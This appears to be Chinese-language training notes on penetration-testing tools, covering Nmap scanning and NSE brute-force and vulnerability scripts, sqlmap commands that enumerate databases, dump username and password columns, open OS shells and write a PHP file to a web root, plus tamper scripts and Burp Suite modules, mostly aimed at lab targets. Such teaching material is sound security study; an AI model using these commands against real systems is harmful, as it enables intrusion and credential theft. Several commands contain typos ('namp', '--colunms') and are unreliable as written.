主机信息收集技术—基础知识:
- 主要收集目标主机的相关信息,主要包括端口、服务、漏洞等信息。信息收集手段多样,可借助工具也多种多样。
- 端口扫描:Nmap
主机信息收集技术—Nmap:
-
namp 192.168.1.1
- namp -A –T4 -v 192.168.1.1
- -A 开启操作系统识别和版本识别功能
- -T 0-6档,设置扫描的快慢,0最慢,6最快; 级别越高,对网络带宽要求越高,另外扫描太快,容易被安全设备发现; 一般选择T4
- -v 显示信息的级别,-vv 显示更详细的信息
- 192.168.1.1 扫描单个目标
- 192.168.1.1 192.168.1.5 … 扫描多个目标
- 192.168.1.1/24 扫描C段 或者 192.168.1.1-254
- namp -A –T4 -v -iL ~/targets.txt
- -iL 表示要扫描的目标位于一个文档中
- namp -A –T4 -v 192.168.1.1/24 --exclude 192.168.1.100--exclude (192.168.1.100 表示排除在外的目标)
- namp -A –T4 -v 192.168.1.1/24 --excludefile ~/targets.txt--excludefile (~/targets.txt 表示排除在外的目标包含在一个文档中)
- namp 192.168.1.1 -p 80,443 (-p 80,443 表示扫描特点端口,如果不用-p指定端口, 默认扫描1000个常用端口)
- namp --traceroute 192.168.1.1(--traceroute 探测路由)
- namp -O 192.168.1.1 (-O 对目标进行指纹识别)
- namp -sV 192.168.1.1 (-sV 对版本进行探测)
- namp -sF -T4 192.168.1.1 (-sF 利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 或者fileter状态。)
-
状态
说明
open
应用程序在该端口接收 TCP 连接或者 UDP 报文
closed
关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听
filtered
由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙
unfiltered
未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态
open | filtered
- 无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议, FIN, Null 等扫描会引起。
主机信息收集技术—Nmap进阶:
- 扫描脚本介绍:位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts
- 脚本类型:
- ll /usr/share/nmap/scripts | grep ^- | wc -l
- 使用介绍:nmap --script=auth 192.168.137.*(负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令)
- nmap --script=brute 192.168.137.*(提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解)
- nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*(默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。)
- nmap --script=vuln 192.168.137.* (检查是否存在常见漏洞)
- nmap -n -p445 --script=broadcast 192.168.137.4(在局域网内探查更多服务开启状况)
更多:https://nmap.org/nsedoc/categories/ https://blog.csdn.net/whatday/article/details/73823959
主机信息收集技术—zenmap:
zenmap Nmap 的图形化界面
Sqlmap简介:sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。
Sqlmap安装:
1.安装sqlmap前,需要先安装 Python3.X ,下载地址:https://www.python.org/downloads/windows/
2.在环境变量path中,增加python3.x安装路径
3.下载sqlmap并解压缩:地址:https://sqlmap.org/
Python sqlmap.py –u http://xxx.xxx.xxx/
Python sqlmap.py --help 查看帮助
sqlmap支持五种不同的注入模式:
- UNION query SQL injection(可联合查询注入)
- uError-based SQL injection(报错型注入)
- uBoolean-based blind SQL injection(布尔型注入
- uTime-based blind SQL injection(基于时间延迟注入)
- uStacked queries SQL injection(可多语句查询注入)
sqlmap常用参数:
- 设置目标 URL -u /--url 最基本格式: sqlmap -u “http://www.target.com/index.php?id=1”
- • -m 从文本中获取多个目标扫描,但是每一个一个 url. sqlmap -m urllist.txt
- -r 从文件中加载 HTTP 请求,这样的话 就不需要在去设定cookie,POST 数据 ......
- --dbs:返回当前连接的数据库
- --current-db :返回当前网站数据库的数据库用户
- -D : 指定数据库系统的数据库名
- --tables :列举数据库表
- -T: 指定数据库表名
- --columns: 列举数据库表中的字段
- -C: 指定数据库表中的字段名
- --dump: 获取整个表的数据
设置回显等级:
参数:-v 默认为1:0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认等级)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同事显示HTTP响应页面。
- 设置HTTP数据包相关参数 参数:--data 此参数是把数以POST方式提交,sqlmap会像检测GET参数一样检测POST过去 的参数。 python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" 参数:--cookie 当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。
- 设置HTTP数据包相关参数 HTTP User-Agent 头 参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。
- sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
- sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞
- 设定探测等级 --level 共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。 level>=2的时候就会测试HTTP Cookie。 level>=3的时候就会测试HTTP User-Agent/Referer头。 level=5 的时候会测试HTTP Host。
- --users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
- --current-user 在大多数据库中可以获取到管理数据的用户。
- --is-dba 判断当前的用户是否为管理,是的话会返回True。
- --proxy 指定一个代理服务器 eg: –proxy http://xxxxx:8080
- --os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限。
sqlmap“六步”:
第一步:判断是否是注入点 sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"
第二步:获取数据库:sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --dbs
第三步:查看当前应用程序所用数据库sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --current-db
第四步:列出指定数据库的所有表sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" --tables
第五步:读取指定表中的字段名称sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T users --colunms
第六步:读取指定字段内容sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T users -C username,password --dump
Sqlmap进阶:--level 探测等级一共有5个等级,默认是1。
-
sqlmap使用的payload可以在xml\payloads中看到,也可以根据相应的格式添加自己的payload,5级包含的payload最多。
-
http cookie在2级时可以检测
-
HTTP user-Agent/Referer在3级时就会检测
判断当前数据库用户权限 sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --is-dba
–roles 列出数据库管理员角色:
如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色, sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles
--referer HTTPReferer头:当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net
--sql-shell 运行自定义的sql语句:sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
–os-cmd,–os-shell 运行任意操作系统命令
选择后台语言 sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
–file-read 从数据库服务器中读取文件:该命令用于读取执行文件,当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
–file-write –file-dest 上传文件到数据库服务器中:该命令用于写入本地文件到服务器中。Sqlmap –u http://10.1.8.8/sql1/less-1/?id=1 --file-write ‘c:\user\cisp-pte\desktop\xie1.php’ --file-dest ‘c:\phpstudy\www\wwwroot\xie.php’
读取指定数据库用户的密码: sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root
apostrophemask.py
- 适用数据库:ALL
- 作用:将引号替换为utf-8,用于过滤单引号
- 使用脚本前:tamper("1 AND '1'='1")
- 使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
multiplespaces.py
- 适用数据库:ALL
- 作用:围绕sql关键字添加多个空格
- 使用脚本前:tamper('1 UNION SELECT foobar')
- 使用脚本后:1 UNION SELECT foobar
Burpsuite配置及代理设置:
1. Burpsuite使用前配置
Burpsuite配置及代理设置:
Burpsuit功能模块讲解:
这些模块都有什么用呢?
- Send to spider 发送给爬虫模块
- DO a active scan 进行一次主动扫描
- Send to intruder 发送给爆破模块
- Send to repearter 发送给重放模块 Send to comparer 发送给比对模块
- Send to decoder 发送给解码模块
- Request in browser 将请求在浏览器重放
2 .Proxy模块HTTP history选项卡